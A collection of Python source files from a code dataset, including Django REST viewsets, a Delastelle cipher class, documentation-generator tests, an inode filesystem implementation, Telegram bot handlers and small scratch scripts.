+{"seq_id":"604523180","text":"from collections import OrderedDict\n\nfrom django.core.urlresolvers import NoReverseMatch\n\nfrom rest_framework import viewsets\nfrom rest_framework import permissions\nfrom rest_framework import mixins\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework.views import APIView\n\nfrom . import models, serializers\n\n\nclass BoardViewset(mixins.RetrieveModelMixin,\n                   mixins.UpdateModelMixin,\n                   mixins.ListModelMixin,\n                   viewsets.GenericViewSet):\n    permission_classes = (permissions.IsAuthenticated, )\n    model = models.Board\n\n    def get_queryset(self):\n        filters = {}\n        if not self.request.user.is_staff:\n            filters[\"author\"] = self.request.user\n\n        return self.model.objects\\\n                    .filter(**filters)\\\n                    .select_related('template')\n\n    def get_serializer_class(self):\n        if self.request.method == \"GET\":\n            return serializers.BoardSerializer\n        else:\n            return serializers.BoardUpdateSerializer\n\n\nclass CardViewset(mixins.RetrieveModelMixin,\n                  mixins.UpdateModelMixin,\n                  mixins.ListModelMixin,\n                  viewsets.GenericViewSet):\n    permission_classes = (permissions.IsAuthenticated, )\n    model = models.BoardCards\n    serializer_class = serializers.BoardCardSerializer\n    paginate_by = None\n\n    def get_serializer_class(self):\n        if self.request.method == \"GET\":\n            return serializers.BoardCardSerializer\n        else:\n            return serializers.BoardCardUpdateSerializer\n\n    def get_queryset(self):\n        # return only cards associated with a given board. If user is not staff,\n        # ensure that they can only see cards where they are the author\n        filters = {\"board_id\": self.kwargs.get(\"board_pk\")}\n        if not self.request.user.is_staff:\n            filters[\"board__author\"] = self.request.user\n        return self.model.objects\\\n            .filter(**filters)\\\n            .select_related('board', 'card')\n\n\nclass NamespacedRouter(DefaultRouter):\n    \"\"\"\n    Override router to use namespaces for reverse lookup\n    \"\"\"\n    def get_api_root_view(self):\n        \"\"\"\n        Return a view to use as the API root.\n        \"\"\"\n        api_root_dict = OrderedDict()\n        list_name = self.routes[0].name\n        for prefix, viewset, basename in self.registry:\n            api_root_dict[prefix] = list_name.format(basename=basename)\n\n        class APIRoot(APIView):\n            namespace = \"cards:api:\"  # line added\n            _ignore_model_permissions = True\n\n            def get(self, request, *args, **kwargs):\n                ret = OrderedDict()\n                for key, url_name in api_root_dict.items():\n                    try:\n                        ret[key] = reverse(\n                            self.namespace + url_name,  # line overridden\n                            request=request,\n                            format=kwargs.get('format', None)\n                        )\n                    except NoReverseMatch:\n                        # Don't bail out if eg. no list routes exist, only detail routes.\n                        continue\n\n                return Response(ret)\n\n        return APIRoot.as_view()\n","sub_path":"project/cards/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"533538881","text":"import tkinter\nfrom tkinter import messagebox\n\n\ntop = tkinter.Tk()\n\ndef ignoreIntrusion():\n    result = messagebox.askquestion(\"Ignore Intrusion\", \"Are You Sure?\", icon='warning')\n    if result == 'yes':\n        print (\"Ignored\")\n    else:\n        print (\"Not Ignored\")\n\nB1 = tkinter.Button(top, text = \"Ignore Intrusion\", command = ignoreIntrusion)\nB1.pack()\ntop.mainloop()","sub_path":"alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"404975435","text":"'''\nimplements delastelle cipher\nAuthor: James Lyons\nCreated: 2014-02-12\n'''\nfrom itertools import product\nfrom .base import Cipher\nimport re\n\n####################################################################################\nclass Delastelle(Cipher):\n    \"\"\"\n    The Delastelle cipher is a simple substitution cipher that outputs 3 characters of ciphertext for each character of plaintext. It has a key consisting\n    of a 'key cube' 27 characters in length. This cipher is used as part of the Trifid cipher.\n    For a more detailed look at how it works see http://www.practicalcryptography.com/ciphers/trifid-cipher/.\n    \n    :param key: The keycube. The key must by 27 characters in length.\n    :param chars: the set of characters to use. By default 123 are used.\n    \"\"\"    \n    def __init__(self,key='phqgiumeaylnofdxkrcvst.zwb',chars=\"123\"):\n        self.key = ''.join([k.upper() for k in key])\n        self.chars = chars\n        assert len(self.key)==27, 'invalid key in init: must have length 27, has length '+str(len(key))\n        self.IND2L = dict(zip(list(product(chars,repeat=3)),key))\n        self.L2IND = dict(zip(key,list(product(chars,repeat=3))))\n    \n    def encipher(self,string):\n        \"\"\"Encipher string using Delastelle cipher according to initialised key.\n\n        Example::\n\n            ciphertext = Delastelle('APCZ WRLFBDKOTYUQGENHXMIVS').encipher(plaintext)     \n\n        :param string: The string to encipher.\n        :returns: The enciphered string. The ciphertext will be 3 times the length of the plaintext.\n        \"\"\"           \n        string = self.remove_punctuation(string,filter='[^'+self.key+']')        \n        ctext = \"\"\n        for c in string:\n            ctext += ''.join([str(i) for i in L2IND[c]])\n        return ctext\n\n    def decipher(self,string):\n        \"\"\"Decipher string using Delastelle cipher according to initialised key.\n\n        Example::\n\n            plaintext = Delastelle('APCZ WRLFBDKOTYUQGENHXMIVS').decipher(ciphertext)     \n\n        :param string: The string to decipher.\n        :returns: The deciphered string. The plaintext will be 1/3 the length of the ciphertext.\n        \"\"\"         \n        string = self.remove_punctuation(string,filter='[^'+self.chars+']')\n        ret = ''\n        for i in range(0,len(string),3):\n            ind = tuple([int(string[i+k]) for k in [0,1,2]])\n            ret += IND2L[ind]\n        return ret    \n\nif __name__ == '__main__': \n    print('use \"import pycipher\" to access functions')","sub_path":"Modules/DataFlow/pycipher/delastelle.py","file_name":"delastelle.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"643095810","text":"import shutil, os\nimport libpry\nimport countershape\nfrom countershape import doc, model, sitemap\nimport testpages\n\nclass DocTestPage(doc._DocHTMLPage):\n    def __init__(self, name):\n        self.name = name\n        doc._DocHTMLPage.__init__(self, name, name, dict(body=\"\"), \"bar\")\n\n    def body(self):\n        yield self.name\n\n\nclass DummyPage(DocTestPage):\n    def __init__(self):\n        DocTestPage.__init__(self, \"DummyPage\")\n\n\nclass uPython(libpry.AutoTree):\n    def test_init(self):\n        d = doc.PythonPage(\"name\", \"title\", \"testmod/foo.py\")\n\n    def test_repr(self):\n        d = doc.PythonPage(\"name\", \"title\", \"testmod/foo.py\")\n        repr(d)\n\n        m = doc.PythonModule(\"testmod\")\n        repr(m)\n\n    def test_index(self):\n        d = doc.PythonModule(\"name\", \"title\", \"testmod\")\n\n\nclass u_DocHTMLPage(libpry.AutoTree):\n    def setUp(self):\n        self.application = doc.Doc(\n            TestRoot([\n                DummyPage()\n            ])\n        )\n\n    def test_repr(self):\n        repr(countershape.state.page)\n\n\nclass uRenderTests(libpry.AutoTree):\n    def setUp(self):\n        self.application = doc.Doc(\n            TestRoot([\n                doc.Page(\"doctree/test.html\", \"Title\"),\n                doc.Copy(\"doctree/copy\"),\n                doc.Copy(\"copy2\", src=\"doctree/copy\"),\n                doc.PythonPage(\"testmod/foo.py\"),\n                doc.PythonModule(\"testmod\"),\n                sitemap.Sitemap(\"sitemap.xml\")\n            ])\n        )\n\n    def test_render(self):\n        t = self.tmpdir()\n        self.application.render(t)\n        assert os.path.isfile(os.path.join(t, \"test.html\"))\n        assert os.path.isfile(os.path.join(t, \"copy\"))\n        assert os.path.isfile(os.path.join(t, \"copy2\"))\n        assert os.path.isdir(os.path.join(t, \"testmod\"))\n        assert os.path.isfile(os.path.join(t, \"testmod_index.html\"))\n        assert os.path.isfile(os.path.join(t, \"sitemap.xml\"))\n\n\nclass uBunch(libpry.AutoTree):\n    def test_load(self):\n        l = doc._Bunch(a=1, b=2)\n        assert l.a == 1\n        l.c = 22\n        assert l.getDict()[\"c\"] == 22\n\n\nclass uFullRender(libpry.AutoTree):\n    def test_render(self):\n        app = doc.Doc(\"doctree\")\n        t = self.tmpdir()\n        app.render(t)\n        assert \"notcopied\" in app.root.namespace[\"data\"]\n        assert not os.path.isfile(os.path.join(t, \"_notcopied.html\"))\n        assert os.path.isfile(os.path.join(t, \"include.css\"))\n        assert os.path.isdir(os.path.join(t, \"autocopy\"))\n        assert os.path.isdir(os.path.join(t, \"foo\"))\n\n    def test_render_newdir(self):\n        app = doc.Doc(\"doctree\")\n        t = self.tmpdir()\n        app.render(os.path.join(t, \"newdir\"))\n\n\nclass uDocRoot(libpry.AutoTree):\n    def test_render(self):\n        libpry.raises(SyntaxError, doc.Doc, doc.DocRoot(\"doctree_err\"))\n\n    def test_repr(self):\n        x = doc.DocRoot(\"doctree\")\n        repr(x)\n\n\nclass uPage(testpages.DummyState):\n    def setUp(self):\n        os.chdir(\"doctemplate\")\n        self.d = doc.Page(\"test.html\", \"Title\", pageTitle=\"PageTitle\")\n        self.application = doc.Doc(\n            TestRoot([\n                self.d\n            ])\n        )\n        self.application.testing = 2\n        self.pageName = \"test.html\"\n        testpages.DummyState.setUp(self)\n\n    def tearDown(self):\n        testpages.DummyState.tearDown(self)\n        os.chdir(\"..\")\n\n    def test_call(self):\n        assert \"mynameistest\" in  self.application(self.d)\n\n    def test_repr(self):\n        repr(self.d)\n\n    def test_getLayoutComponentErr(self):\n        libpry.raises(\n            \"layout component \\\"nonexistent\\\"\",\n            self.d._getLayoutComponent,\n            \"nonexistent\"\n        )\n\n    def test_getLayoutComponent(self):\n        assert \"mynameistest.html\" in str(self.d._getLayoutComponent(\"body\"))\n        self.d.testAttr = \"test\"\n        assert \"test\" == str(self.d._getLayoutComponent(\"testAttr\"))\n\n    def test_getLayoutComponent_pageTitle(self):\n        assert str(self.d._getLayoutComponent(\"pageTitle\")) == \"PageTitle\"\n        self.application.root.titlePrefix = \"prefix-\"\n        assert str(self.d._getLayoutComponent(\"pageTitle\")) == \"prefix-PageTitle\"\n\n\n    def test_namespace(self):\n        self.d.namespace[\"foo\"] = \"bar\"\n        self.d._getNamespace()\n        assert self.d.namespace[\"foo\"] == \"bar\"\n        assert self.d.namespace[\"body\"].txt.strip() == \"mynameis@!this.name!@\"\n\n\nclass uStaticDirectory(libpry.AutoTree):\n    def test_repr(self):\n        s = doc.StaticDirectory(\"foo\")\n        repr(s)\n\n\nclass uDirectory(libpry.AutoTree):\n    def test_repr(self):\n        s = doc.Directory(\"doctree\")\n        repr(s)\n\n\nclass uCopy(testpages.DummyState):\n    def setUp(self):\n        self.application = doc.Doc(\n            TestRoot([\n                doc.Copy(\"bar\", \"foo\")\n            ])\n        )\n        self.pageName = \"bar\"\n        testpages.DummyState.setUp(self)\n\n    def test_repr(self):\n        repr(countershape.state.page)\n\n\nclass TestRoot(model.BaseRoot):\n    contentName = \"body\"\n    stdHeaders = []\n    namespace = countershape.doc.DocRoot._baseNS\n    site_url = \"http://foo.com\"\n\n\nclass uOptions(libpry.AutoTree):\n    def test_all(self):\n        o = doc.Options(\n            [\n                \"one\",\n                \"three=four\"\n            ]\n        )\n        assert o.one\n        assert not o.two\n        assert o.three == \"four\"\n        o.four = \"five\"\n        assert o.four == \"five\"\n        str(o)\n\n\ntests = [\n    uPython(),\n    uStaticDirectory(),\n    uDirectory(),\n    u_DocHTMLPage(),\n    uPage(),\n    uCopy(),\n    uRenderTests(),\n    uFullRender(),\n    uBunch(),\n    uDocRoot(),\n    uOptions()\n\n\n]\n","sub_path":"test/test_doc.py","file_name":"test_doc.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"651694308","text":"# ---------------------------------------------------------\n# Name:        server\n# Description: A core component,use a middle component\n# Author:      Lucas Yu\n# Created:     2018-07-16\n# Copyright:   (c) Zhenluo,Shenzhen,Guangdong 2018\n# Licence:\n# ---------------------------------------------------------\nimport path\nimport collections\nfrom .my_task import MyTask\n\n\n\"\"\"这是一个应用程序的框架与服务器的接口，不会像服务器暴露更多，降低耦合，提高通用性。\n   本类提供构建应用程序的一系列公开方法，供客户端调用框架各种操作完成构建app时调用，\n   之后，服务器就可以调用app向其公开的方法，进而调用task完成各种功能。\n\"\"\"\n\n\nclass Application(object):\n    def __init__(self):\n        self.dependency4task = dict()\n        self.be_dependency4task = dict()\n        self.task_route = dict()\n\n    def add_dependency4task(self, target_task_name, dependency):\n\n        self.dependency4task.setdefault(target_task_name,[])\n        if isinstance(dependency, str):\n            self.dependency4task[target_task_name].append(dependency)\n        elif isinstance(dependency, collections.Iterable):\n            self.dependency4task[target_task_name].extend(dependency)\n        else:\n            raise Exception(\"请以字符串或者列表方式输入依赖\")\n        print(\"添加依赖项目\",self.dependency4task)\n        return self\n\n    def add_be_dependency4task(self, target_task_name, be_dependency):\n        #print(\"添加被依赖项目\")\n        self.be_dependency4task.setdefault(target_task_name, [])\n        if isinstance(be_dependency, str):\n            self.be_dependency4task[target_task_name].append(be_dependency)\n        elif isinstance(be_dependency, collections.Iterable):\n            self.be_dependency4task[target_task_name].extend(be_dependency)\n        else:\n            raise Exception(\"请以字符串或者列表方式输入依赖\")\n        print(\"添加被依赖项目\", self.dependency4task)\n        return self\n\n    def add_task_route(self, task_name, task_cls):\n        if issubclass(task_cls, MyTask):\n            self.task_route[task_name] = task_cls\n        else:\n            raise Exception(\"请以字符串或者列表方式输入依赖\")\n        return self\n\n    def get_handler(self, target_task):\n        t1=target_task\n        t2=self.be_dependency4task[target_task]\n        self.task_route.get(target_task)(target_task, self.be_dependency4task[target_task])\n\n\n# 定义一个路由，可获取有效消息，并将其路由到对应任务上,\n# 任务不复杂\nclass MyRouter(object):\n    pass\n\n\n","sub_path":"recognition_pre_fog_concur/commons/my_application.py","file_name":"my_application.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"490653575","text":"__version__ = 1, 7, 0\n\nimport difflib, sys\n\ndef fail(msg):\n    out = sys.stderr.write\n    out(msg + \"\\n\\n\")\n    out(__doc__)\n    return 0\n\n# open a file & return the file object; gripe and return 0 if it\n# couldn't be opened\ndef fopen(fname):\n    try:\n        return open(fname)\n    except IOError as detail:\n        return fail(\"couldn't open \" + fname + \": \" + str(detail))\n\n# open two files & spray the diff to stdout; return false iff a problem\ndef fcompare(f1name, f2name):\n    f1 = fopen(f1name)\n    f2 = fopen(f2name)\n    if not f1 or not f2:\n        return 0\n\n    a = f1.readlines(); f1.close()\n    b = f2.readlines(); f2.close()\n    for line in difflib.ndiff(a, b):\n        print(line, end=' ')\n\n    return 1\n\n# crack args (sys.argv[1:] is normal) & compare;\n# return false iff a problem\n\n\nfilename1 = 'C:/_git/vcs/_1.data/______test_files5/file1.txt'\nfilename2 = 'C:/_git/vcs/_1.data/______test_files5/file2.txt'\n\nret = fcompare(filename1, filename2)\n\n","sub_path":"_4.python/__code/python-master/Tools/scripts/ndiff.py","file_name":"ndiff.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"126765972","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport threading\nimport time\n\n\n# Define a function for the thread\ndef print_time(threadName, delay):\n    count = 0\n    while count < 5:\n        time.sleep(delay)\n        count += 1\n        print(threadName, time.ctime(time.time()))\n\n\nclass Person:\n    def __init__(self, name):\n        self.name = name\n\n    def __eq__(self, other):\n        print(\"Inside the __eq__method\")\n        return self.name == other.name\n\n    def getkey(self):\n        \"k\"\n\n    def __repr__(self) -> str:\n        return '{}'.format(self.name)\n    def retursomething (self):\n        return Person(\"Bal\")\n\n\n\na = Person(\"John\")\nb = Person(\"John\")\n\n\n\nexitFlag = 0\n\n\nclass MyThread(threading.Thread):\n    def __init__(self, threadID, name, counter):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.name = name\n        self.counter = counter\n\n    def run(self):\n        print(\"Starting \" + self.name)\n        print_time(self.name, 5, self.counter)\n        print(\"Exiting \" + self.name)\n\n\ndef print_time(threadName, counter, delay):\n    while counter:\n        if exitFlag:\n            threadName.exit()\n        time.sleep(delay)\n        print(\"%s: %s\" % (threadName, time.ctime(time.time())))\n        counter -= 1\n\n\n# Create new threads\nthread1 = MyThread(1, \"Thread-1\", 1)\nthread2 = MyThread(2, \"Thread-2\", 2)\n\n# Start new Threads\n#thread1.start()\n#thread2.start()\n\nprint(\"Exiting Main Thread\")\nprint(a)\n\ntuple = (\"Jack\", 2, 4, 5)\nprint(\"size \", len(tuple))\nprint(tuple[2:5])\n\nlst = [3, 1, 353]\n\nprint(lst, \"hello\")\n\ndic = {\"key\": 4, \"key2\": 9}\n\nprint(dic.values())\n\nx = 3\ny = 3\nif (a == b):\n    print(\"It is 5\")\n\nfor key, value in dic.items():\n    print(key, value)\n\nfor i, kk in enumerate(lst):\n    print(i, kk)\n\n\"\"\"In Python 3 open() gives you a stream producing \nPython's unicode strings, and the underlying yajl doesn't know \nhow to deal with those. So, the correct way of\n parsing JSON files is actually to open them in 'rb' mode.\"\"\"\n\n\n\ndf = pd.read_json(\"health_inspection_chi_sample.json\", lines=True) # type: pandas.core.frame.DataFrame\n\ndf2 = df[['inspection_date']]\nprint(type(df2))\ndf1 = df.loc[0:5, ['risk', 'inspection_date']]\nprint(\"tHE TYPE IS --> \",'\\n', df1.to_string())\n\n\nprint(\"\\nIndex method\\n -->\", df.index)\nprint(\"\\nHead method\\n -->\", df.head())\nprint(df.columns.tolist())\n#change index to something else\ndf.set_index('inspection_id')\n\nprint(df['results'].value_counts())\n\n\ny = df['zip'].unique().tolist()\nprint(lst)\nprint('The type is', type(lst))\nx = df['zip'].value_counts().tolist()\n\n#plt.hist(y, x)\n#plt.show()\n\n\nprint(\"Chage inspection datetime --> \")\nprint(\"\\n\")\nprint(type(df2))\ndf2 = df2.apply(pd.to_datetime())\ndf1 = df.loc[0:5, ['risk', 'inspection_date']]\nprint(\"tHE TYPE IS --> \",'\\n', df1.to_string())\n\nprint (\"Im just out here changing git stuff\")\n\n\n","sub_path":"bla.py","file_name":"bla.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"613427201","text":"from Packages.General_funcctions import int_to_string, string_to_int, write_str_bin, bytes_to_string\nfrom math import  ceil\n\n#Useful functions from the outside self.write and self.read\n#id parameter should always be filled during instantiation.\n\n'''\n\nInodes:\nInode(int) -> instantiates a inode object that should be used with existing inodes, needs to be read() before used.\nInode(*) -> Should be used when creating a new inode.\n \nUseful SuperBlocks methods\nwrite()\nread()\ndelete()\nparse_all()\nbinarize_all()\nall other methods should not be called on regular basis since they are used to built the \"Useful ones\".\n'''\n\n\nclass Inode():\n    def __init__(self, id ,owner = 0, group = 0, access_permissions = [[True,True,True],[True,True,True],[True,True,True]], filetype = \"x\", file_access_time = \"19700101\",\n                 links = 0, size = 0, table_of_contents = []):\n        self.owner = owner\n        self.group = group\n        self.filetype = filetype\n        self.access_permissions = access_permissions\n        self.file_access_time = file_access_time\n        self.links = links\n        self.size = size\n        self.table_of_contents = table_of_contents\n        self.id =id\n\n    def parse_owner(self):\n        self.owner = ord(self.owner)\n        return True\n\n    def parse_group(self):\n        self.group = ord(self.group)\n\n    def parse_access_permissions(self):\n        permissions = [[], [], []]\n        num1 = ord(self.access_permissions[0])\n        num2 = ord(self.access_permissions[1])\n        num1 = '{:08b}'.format(num1)\n        num2 = \"{:08b}\".format(num2)\n        num1 += num2[0]\n        for j in range(3):\n            for i in range(3):\n                if num1[j*3+i] == \"1\":\n                    permissions[j].append(True)\n                else:\n                    permissions[j].append(False)\n        self.access_permissions = permissions\n        return True\n\n    def parse_links(self):\n        self.links = string_to_int(str(self.links))\n        return True\n\n    def parse_size(self):\n        self.size = string_to_int(str(self.size))\n        return True\n\n    def parse_toc(self):\n        new_table = []\n        for i in range(len(self.table_of_contents)//4):\n            new_table.append(string_to_int(self.table_of_contents[i*4:(i+1)*4]))\n        self.table_of_contents = new_table\n        return True\n\n    def parse_all(self):\n        self.parse_size()\n        self.parse_toc()\n        self.parse_group()\n        self.parse_owner()\n        self.parse_access_permissions()\n        self.parse_links()\n        return True\n    def binarize_owner(self):\n        self.owner = chr(self.owner)\n        return True\n    def binarize_group(self):\n        self.group = chr(self.group)\n        return True\n    def binarize_links(self):\n        self.links = int_to_string(self.links,3)\n        return True\n\n    def binarize_size(self):\n        self.size =  int_to_string(self.size, 4)\n        return True\n\n    def binarize_toc(self):\n        string = \"\"\n        for number in self.table_of_contents:\n            string += int_to_string(number,4)\n        self.table_of_contents = string\n        return True\n\n    def binarize_access_permissions(self):\n        string = \"\"\n        for i in range(3):\n            for bool in self.access_permissions[i]:\n                if bool: string += \"1\"\n                else: string += '0'\n        string += \"0\" * 7\n        newstring = \"\"\n        for i in range(len(string) // 8):\n            number = 0\n            for j in range(7, -1, -1):\n                number += int(string[i * 8 + 7 - j])* 2 ** j\n            newstring += chr(number)\n        self.access_permissions = newstring\n        return True\n    def binarize_all(self):\n        self.binarize_owner()\n        self.binarize_group()\n        self.binarize_size()\n        self.binarize_links()\n        self.binarize_toc()\n        self.binarize_access_permissions()\n        return True\n    def get_block(self):\n        returnable = self.id//16\n        return 3 + returnable\n\n    def get_offset(self):\n        return ((self.id-1)%16) * 64\n\n    def write(self):\n        file = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\"+str(self.get_block())+\".block\", \"r+b\")\n        offset = self.get_offset()\n        file.seek(offset)\n        file.write(bytes([ord(self.owner)]))\n        file.write(bytes([ord(self.group)]))\n        file.write(bytes([ord(self.filetype)]))\n        write_str_bin(file,self.access_permissions)\n        write_str_bin(file, self.file_access_time)\n        write_str_bin(file, self.links)\n        write_str_bin(file, self.size)\n        write_str_bin(file, self.table_of_contents)\n        file.close()\n        return True\n\n    def delete(self):\n        file = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.get_block()) + \".block\", \"r+b\")\n        offset = self.get_offset()\n        file.seek(offset + 2)\n        self.filetype = \"0\"\n        file.write(bytes([ord(self.filetype)]))\n        file.close()\n        return\n\n    def read(self):\n        file = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.get_block()) + \".block\", \"rb\")\n        file.seek(self.get_offset())\n        self.owner = bytes_to_string(file.read(1))\n        self.group = bytes_to_string(file.read(1))\n        self.filetype = bytes_to_string(file.read(1))\n        self.access_permissions = bytes_to_string(file.read(2))\n        self.file_access_time = bytes_to_string(file.read(8))\n        self.links = bytes_to_string(file.read(3))\n        self.size = bytes_to_string(file.read(4))\n        self.table_of_contents  = bytes_to_string(file.read(44))\n        self.parse_all()\n        file.close()\n        return True\n\n    def find_all_blocks(self):\n        queue = [[],[],[],[]]\n        blocks = ceil(self.size / 1024)\n        block  = 0\n        while block < blocks:\n\n            if block < 8:\n                queue[0].append(self.table_of_contents[block])\n                block += 1\n            elif len(queue[1] ) ==0:\n                queue[0].append(self.table_of_contents[block])\n                offset = 0\n                file = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[8]) + \".block\",\n                    \"rb\")\n                while block < blocks and offset < 1024:\n                    offset += 4\n                    queue[1].append(string_to_int(bytes_to_string(file.read(4))))\n                    block +=1\n                file.close()\n\n            elif len(queue[2])==0:\n                queue[0].append(self.table_of_contents[9])\n                file_1 = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[9]) + \".block\",\n                    \"rb\")\n                offset_1 = 0\n                while block < blocks and offset_1 < 1024:\n                    offset_1 += 4\n                    queue[1].append(string_to_int(bytes_to_string(file_1.read(4))))\n                    offset_2 = 0\n                    file_2 =  open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[1][-1]) + \".block\",\n                    \"rb\")\n                    while block < blocks and offset_2 < 1024:\n                        offset_2 += 4\n                        queue[2].append(string_to_int(bytes_to_string(file_2.read(4))))\n                        block += 1\n                    file_2.close()\n                file_1.close()\n\n            else:\n                queue[0].append(self.table_of_contents[10])\n                file_1 = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[10]) + \".block\",\n                    \"rb\")\n                offset_1 = 0\n                while block < blocks and offset_1 < 1024:\n                    offset_1 += 4\n                    queue[1].append(string_to_int(bytes_to_string(file_1.read(4))))\n                    offset_2 = 0\n                    file_2 = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[1][-1]) + \".block\",\n                                  \"rb\")\n                    while block < blocks and offset_2 < 1024:\n                        offset_2 += 4\n                        queue[2].append(string_to_int(bytes_to_string(file_2.read(4))))\n                        file_3 = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[2][-1]) + \".block\",\n                                  \"rb\")\n                        offset_3 = 0\n                        while block < blocks and offset_3 < 1024:\n                            offset_3 += 4\n                            queue[3].append(string_to_int(bytes_to_string(file_3.read(4))))\n                            block += 1\n                        file_3.close()\n                    file_2.close()\n                file_1.close()\n        returnable = []\n        for q in queue:\n            returnable += q\n        return returnable\n\n    def find_content_blocks(self):\n        queue = [[],[],[],[]]\n        queue2 = []\n        blocks = ceil(self.size / 1024)\n        block  = 0\n        while block < blocks:\n            if block < 8:\n                queue[0].append(self.table_of_contents[block])\n                queue2.append(queue[0][-1])\n                block += 1\n            elif len(queue[1] ) ==0:\n                queue[0].append(self.table_of_contents[block])\n                offset = 0\n                file = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[8]) + \".block\",\n                    \"rb\")\n                while block < blocks and offset < 1024:\n                    offset += 4\n                    queue[1].append(string_to_int(bytes_to_string(file.read(4))))\n                    queue2.append(queue[1][-1])\n                    block +=1\n                file.close()\n\n            elif len(queue[2])==0:\n                queue[0].append(self.table_of_contents[9])\n                file_1 = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[9]) + \".block\",\n                    \"rb\")\n                offset_1 = 0\n                while block < blocks and offset_1 < 1024:\n                    offset_1 += 4\n                    queue[1].append(string_to_int(bytes_to_string(file_1.read(4))))\n                    offset_2 = 0\n                    file_2 =  open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[1][-1]) + \".block\",\n                    \"rb\")\n                    while block < blocks and offset_2 < 1024:\n                        offset_2 += 4\n                        queue[2].append(string_to_int(bytes_to_string(file_2.read(4))))\n                        queue2.append(queue[2][-1])\n                        block += 1\n                    file_2.close()\n                file_1.close()\n\n            else:\n                queue[0].append(self.table_of_contents[10])\n                file_1 = open(\n                    \"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(self.table_of_contents[10]) + \".block\",\n                    \"rb\")\n                offset_1 = 0\n                while block < blocks and offset_1 < 1024:\n                    offset_1 += 4\n                    queue[1].append(string_to_int(bytes_to_string(file_1.read(4))))\n                    offset_2 = 0\n                    file_2 = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[1][-1]) + \".block\",\n                                  \"rb\")\n                    while block < blocks and offset_2 < 1024:\n                        offset_2 += 4\n                        queue[2].append(string_to_int(bytes_to_string(file_2.read(4))))\n                        file_3 = open(\"/home/zikin/Documents/Final_project_OS/hard_drive/\" + str(queue[2][-1]) + \".block\",\n                                  \"rb\")\n                        offset_3 = 0\n                        while block < blocks and offset_3 < 1024:\n                            offset_3 += 4\n                            queue[3].append(string_to_int(bytes_to_string(file_3.read(4))))\n                            queue2.append(queue[3][-1])\n                            block += 1\n                        file_3.close()\n                    file_2.close()\n                file_1.close()\n        returnable = queue2\n        return returnable","sub_path":"OS/FileSystem/Packages/Inode/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"324167135","text":"from bot.handlers.base import (\n    start, update_commands,\n    helpx, me, update_recipient, register, unregister,\n    BadAssCommandHandler\n)\nfrom bot.handlers.datex import to_ad, to_bs, bs_today, days_relative\nfrom bot.handlers.movies import qfx_status, qfx_refresh\nfrom bot.handlers.msg import (\n    save_message,\n    delete_message,\n    read_messages,\n    clear_messages\n)\n\n\nANON_COMMANDS = {\n    \"start\": start,\n    \"helpx\": helpx,\n    \"reg\": register\n}\n\nUSER_COMMANDS = {\n    \"ad\": to_ad,\n    \"bs\": to_bs,\n    \"bst\": bs_today,\n    \"dr\": days_relative,\n\n    \"qfx\": qfx_status,\n    \"qfxr\": qfx_refresh,\n\n    \"me\": me,\n    \"mer\": update_recipient,\n    \"unreg\": unregister,\n\n    \"s\": save_message,\n    \"d\": delete_message,\n    \"a\": read_messages,\n    \"cls\": clear_messages\n}\n\nSYSTEM_COMMANDS = {\n    \"update\": update_commands,\n}\n\nHANDLERS = dict(**ANON_COMMANDS, **USER_COMMANDS, **SYSTEM_COMMANDS)\n","sub_path":"bot/handlers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"567308293","text":"def recursion(l):\r\n    sum = 0\r\n    for i in l:\r\n        if type(i) == list:\r\n            sum = sum + recursion(i)\r\n        else:\r\n            sum = sum + i\r\n    return sum\r\nl = [1, 2, [3,4], [5,6]]\r\nprint(\"recursion of sum is: \",recursion(l))\r\n\r\n","sub_path":"programs/recursion_sumof_flattenlist.py","file_name":"recursion_sumof_flattenlist.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
